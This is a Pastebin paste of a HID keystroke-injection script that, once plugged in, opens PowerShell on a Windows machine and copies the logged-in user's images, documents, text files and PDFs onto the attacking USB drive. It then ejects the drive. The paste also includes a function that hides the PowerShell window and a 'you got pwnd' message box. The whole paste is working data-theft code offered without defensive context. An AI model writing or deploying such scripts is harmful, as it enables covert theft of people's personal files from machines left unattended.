Advertisement
Guest User

HIDScript Filecopy

a guest
Aug 13th, 2020
402
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. setTypingSpeedAndLanguage();
  2. getDriveLetter();
  3. //hidePS();
  4. var copying = 0;
  5. fileCopy();
  6. while(copying < 6) {
  7. }
  8. safelyRemoveUSB();
  9. type("Set-WinUserLanguageList $originalLanguage\n");
  10. delay(200);
  11. type("y\n");
  12. //type("exit\n");
  13.  
  14.  
  15.  
  16.  
  17. function showMessage() {
  18.   type("Add-Type -AssemblyName PresentationCore,PresentationFramework\n");
  19.   type('$MessageBoxTitle = "You done been hacked!!"\n');
  20.   type('$MessageBoxBody = "Haha, you got pwnd!!"\n');
  21.   type('$MessageBoxButton = [System.Windows.MessageBoxButton]::Ok\n');
  22.   type('$MessageIcon = [System.Windows.MessageBoxImage]::Warning\n');
  23.   type('[System.Windows.MessageBox]::Show($MessageBoxBody, $MessageBoxTitle, $MessageBoxButton, $MessageIcon)\n');
  24. }
  25.  
  26. function fileCopy() {
  27.   type('$drives = [System.IO.DriveInfo]::GetDrives()\n');
  28.   type('$r = $drives | Where-Object { $_.DriveType -eq "Removable" -and $_.IsReady }\n');
  29.   type('if ($r) { return @($r)[-1]} throw "No removable drives found"\n');
  30.   type('$user = [Environment]::UserName\n');
  31.   var fileTypes = ["jpg", "png", "doc", "docm", "txt", "pdf"];
  32.   for (var i = 0; i < fileTypes.length; i++) {
  33.     type('$copyFrom = "C:\\Users\\" + $user + "\\*.' + fileTypes[i] + '"\n');
  34.     type('Copy-Item -Path $copyFrom -Destination $r -Recurse -Force\n');
  35.     copying++;
  36.   }
  37.  
  38. }
  39.  
  40. function hidePS() {
  41.     type('$h=(Get-Process -Id $pid).MainWindowHandle;$ios=[Runtime.InteropServices.HandleRef];$hw=New-Object $ios (1,$h);$i=New-Object $ios(2,0);(([reflection.assembly]::LoadWithPartialName("WindowsBase")).GetType("MS.Win32.UnsafeNativeMethods"))::SetWindowPos($hw,$i,0,0,100,100,16512)')
  42.     press("ENTER");
  43. }
  44.  
  45. function getDriveLetter() {
  46.   type('$driveLetter = Get-WmiObject Win32_Volume -Filter ("DriveType={0}" -f [int][System.IO.DriveType]::Removable)\n');
  47.   type('$usb = $driveLetter.DriveLetter\n');
  48. }
  49.  
  50. function safelyRemoveUSB() {
  51.   type('$Eject = New-Object -comObject Shell.Application');
  52.   press("SHIFT ENTER");
  53.   type('$Eject.NameSpace(17).ParseName($usb).InvokeVerb("Eject")\n');
  54. }
  55.  
  56. function setTypingSpeedAndLanguage() {
  57.   typingSpeed(0, 0);
  58.   layout("DE");
  59.   press("WIN R");
  60.   delay(200);
  61.   type("powershell\n");
  62.   delay(500);
  63.   press("CTRL ALT 4");
  64.   type("originalLanguage = Get-WinUserLanguageList\n");
  65.   type("Set-WinUserLanguageList -LanguageList de-DE -Force");
  66.   press("ENTER");
  67.   delay(500);
  68. }
  69.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement